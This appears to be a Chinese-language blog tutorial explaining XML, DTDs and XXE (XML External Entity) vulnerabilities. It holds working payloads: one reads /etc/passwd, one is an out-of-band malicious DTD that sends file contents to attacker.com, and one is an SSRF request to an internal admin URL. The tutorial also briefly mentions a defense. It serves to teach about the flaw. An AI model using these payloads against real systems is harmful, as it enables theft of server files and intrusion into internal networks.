什么是XXE漏洞
文章目录前言1. XML1.1 HTML文档1.2 XML2. XXE2.1 原理2.2 直接外部实体引用经典 XXE2.3 恶意 DTD 文件攻击进阶 XXE2.4 SSRF3. 总结参考前言假如没有学过完整的Web前后端开发可能理解XXE会有点困难。究其原因是因为我们知识的广度不够接受新概念时觉得抽象难懂。我们常说代码/软件 定义一切正是软件提供了一个简易的平台让我们使用计算机屏蔽了底层复杂的逻辑与此同时也引入了一些新的抽象概念。递归的去理解这些概念什么、哪里才是我们的边界/基线呢就是一门编程语言。编程语言写出一个程序允许我们实现某个功能。而程序在实现这个功能时为了方便我们使用又会引入一些新的抽象概念用户根据这些概念和规范输入数据得到输出。即输入特定格式的数据文本/字符串、二进制软件读取处理输出。1. XML1.1 HTML文档我们先说HTML文档。其本质是一个文本文件浏览器会读入文件逐行解析文本根据程序浏览器的预定义处理逻辑输出展示文本内容。为什么h1一级标题/h1会被显示得很大呢正是因为浏览器软件里面已经预定义了h1/h1这个字符串处理这个标签里面得内容时会把解释为“一级标题”。我们不仅可以使用标签来定义文档的结构还可以在HTML文档中使用标签来引入CSS、JavaScript文件浏览器会根据不同的标签元素进行不同的处理。1.2 XMLXML可扩展标记语言eXtensible Markup Language既然是语言代表我们也可以写一段符合其语法的文本交由程序解释器/解析器处理比如?xml version1.0 encodingUTF-8?!DOCTYPEbookstore[!ELEMENTbookstore(book)!ELEMENTbook(title,author,price)!ELEMENTtitle(#PCDATA)!ELEMENTauthor(#PCDATA)!ELEMENTprice(#PCDATA)!ATTLISTbookcategoryCDATA默认分类]bookstorebookcategory技术titleXML入门指南/titleauthor张三/authorpricecurrencyCNY99.00/price/book/bookstore!DOCTYPE 根元素 [……]中的内容叫DTDDocument Type Define类似HTML中浏览器解析script srchttp://www.hacker.com/shell.js/script可以将Js代码写在标签体内也可以将src属性中的资源加载进来交给Js引擎执行DTD内容可以直接写在XML中比如上述例子也可以使用!DOCTYPE 根元素 SYSTEM 文件路径/URL将路径/URL中的DTD文件引入该XML文件中。至于什么是DTD它和XML文件有什么关系可以去b站看下XML相关教程或者问一下deepseek。DTD文件中可以定义“实体”或者可以说是变量本质上是定义一个可复用的数据块也就是说用一个字符串名称指定一个资源实体可分为2种类型通用实体和参数实体两者可在文件中定义也可引用外部数据资源其语法格式如下!-- 通用实体在XML文件中引用引用格式实体名; -- !ENTITY 实体名 实体值 !-- 内部实体 -- !ENTITY 实体名 SYSTEM 文件/URL !-- 外部实体 -- !-- 参数实体DTD文件自身使用 引用格式%实体名; -- !ENTITY % 实体名 实体值 !-- 内部实体 -- !ENTITY % 实体名 SYSTEM 文件/URL !-- 外部实体 --2. XXE2.1 原理XXEXML External Entity漏洞的本质是利用 XML 解析器对外部实体的加载功能通过构造恶意实体实现攻击。其攻击路径可分为两类2.2 直接外部实体引用经典 XXE示例直接读取服务器本地文件!DOCTYPEdata[!ENTITY xxe SYSTEM file:///etc/passwd]dataxxe;/data攻击结果若服务器返回 xxe; 的内容则 /etc/passwd 文件被泄露。防御禁用外部实体如设置 disallow-doctype-decl。2.3 恶意 DTD 文件攻击进阶 XXE当直接外部实体被禁用时攻击者可能通过引用外部 DTD 文件中的参数实体绕过限制。攻击步骤构造恶意 DTD 文件托管在攻击者服务器http://attacker.com/malicious.dtd!ENTITY % payload SYSTEM file:///etc/passwd !ENTITY % param !ENTITY #x25; exfil SYSTEM http://attacker.com/?data%payload; %param; %exfil;解析逻辑#x25;字符引用0x25代表Unicode编码中的%% payload读取 /etc/passwd。% param定义嵌套实体 %exfil将数据外传到攻击者服务器。% exfil;触发 HTTP 请求。诱导服务器解析恶意 XML!DOCTYPEdataSYSTEMhttp://attacker.com/malicious.dtddata123/data结果服务器解析时加载外部 DTD执行参数实体攻击链导致数据外泄。为何更危险绕过防御部分解析器仅禁用通用实体xxe;但允许参数实体%param;。隐蔽性数据通过带外Out-of-Band传输无回显也能窃取信息。2.4 SSRF无论是直接外部实体还是恶意 DTD只要 XML 解析器发起未经授权的网络请求均可能导致 SSRF。例如!DOCTYPEdata[!ENTITY xxe SYSTEM http://内网IP:8080/admin]dataxxe;/data结果服务器向内部服务http://内网IP:8080/admin发起请求攻击者可探测或攻击内网系统。3. 总结说了这么多无非就是Web应用前后端通信使用XML格式的字符串后端语言会解析接收到的XML文本提取数据。我们通过构造一个恶意的XML利用 XML 解析器对外部实体的加载功能进行攻击。参考[1] XML教程[2] W3school DTD教程[3] 小迪安全v2023[4] deepseek

相关新闻

告别命令行!OpenClaw · Windows版本 可视化部署教程,本地 AI 办公神器一步到位

告别命令行!OpenClaw · Windows版本 可视化部署教程,本地 AI 办公神器一步到位

📖前言 本文专为 Windows 系统用户量身打造,系统梳理了 OpenClaw v2.9.3 的标准化部署流程。整个安装过程无需输入任何命令行指令,采用纯可视化、向导式的操作界面,即便是零基础用户也能轻松完成一次性完整部署。文中还汇总了高频…

2026/10/23 12:27:32 阅读更多 →
【Scrapy】Scrapy教程6——提取数据

【Scrapy】Scrapy教程6——提取数据

前一小节我们拿到了页面的数据,那页面中那么多内容,我们想要其中的部分内容,该如何获取呢?这就需要对我们下载到的数据进行解析,提取出来想要的数据,这节就讲讲如何提取数据。 引入 我们编辑保存下来的shouye.html文件看下,发现这是什么鬼,全是如下图的代码。 没错…

2026/10/24 5:47:59 阅读更多 →
全网功能最全的缠论分析工具:从K线处理到智能选股的完整解决方案

全网功能最全的缠论分析工具:从K线处理到智能选股的完整解决方案

一、工具核心功能概览本工具致力于打造全网功能最全、响应最快、实用性最强的缠论分析系统,为投资者提供从基础数据处理到高级智能决策的全方位支持。二、完整的缠论分析链条1. 基础数据处理K线包含处理:自动识别并处理K线包含关系,确保分析基…

2026/10/25 16:11:37 阅读更多 →

最新新闻

Electron桌面应用开发实战:从环境搭建到打包发布全流程

Electron桌面应用开发实战:从环境搭建到打包发布全流程

做前端这些年,我大部分时间都在跟浏览器标签页打交道,直到第一次把桌面应用跑起来,才发现原来自己一直被限制在地址栏和刷新按钮围起来的框框里。Electron这个词,最开始是在某段时间频繁出现在同事的讨论里,一个用HTML…

2026/10/27 17:33:32 阅读更多 →
滑盖智能锁T109深度解析:结构原理、安装调试与故障排查

滑盖智能锁T109深度解析:结构原理、安装调试与故障排查

简介:亚太天能T109滑盖智能锁产品说明书是一份PDF格式的官方技术文档,主要面向智能锁安装人员、终端用户及售后维护者,帮助快速掌握产品安装、配置与常见故障处理。全包仅1个PDF文件,大小4.37MB,内容结构清晰&#xff…

2026/10/28 7:28:00 阅读更多 →
PMSM弱磁控制原理与Simulink建模:高速AGV驱动系统设计指南

PMSM弱磁控制原理与Simulink建模:高速AGV驱动系统设计指南

上个月我在调试一台高速AGV的驱动系统,整车要求空载跑到8m/s,电机转速已经拉到额定点,驱动器的输出电压也顶到了母线电压极限附近。再往上踩速度指令,转速纹丝不动,三相电流反而开始震荡。那会儿我的第一反应就是&…

2026/10/28 9:02:11 阅读更多 →
C++核心知识点:从内存管理到STL的实战指南

C++核心知识点:从内存管理到STL的实战指南

C 这门语言我前前后后折腾了十几年,用它写过嵌入式驱动、做过游戏服务端,也搭过基础组件库。每次看到新人一头扎进"C 核心知识点"这个搜索词,我其实挺感慨的——这门语言的难点从来不是语法多,而是知识点之间的耦合太深…

2026/10/27 18:20:50 阅读更多 →
T109滑盖智能锁怎么装?安装调试与故障排查全攻略

T109滑盖智能锁怎么装?安装调试与故障排查全攻略

简介:亚太天能T109滑盖智能锁产品说明书以PDF格式发布,适合智能锁用户、安装人员与售后维修人员阅读。内容围绕T109系列指纹密码刷卡锁展开,先介绍前面板、后面板、锁体、机械钥匙、电池盒盖等部件名称与功能,再给出完整安装步骤&…

2026/10/28 9:00:54 阅读更多 →
LLM知识降熵:从信息垄断到理解权下放

LLM知识降熵:从信息垄断到理解权下放

你有没有过这种经历:翻开源码注释、论文摘要或者一份专业报告,每个字都认识,连在一起却像天书。想找人聊聊,身边要么没人懂,要么懂的懒得跟你解释。后来我试着把同一段内容丢给一个大语言模型,几秒钟之后&a…

2026/10/28 7:29:02 阅读更多 →

日新闻

周新闻

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/27 13:55:19 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/28 9:01:47 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/27 19:19:37 阅读更多 →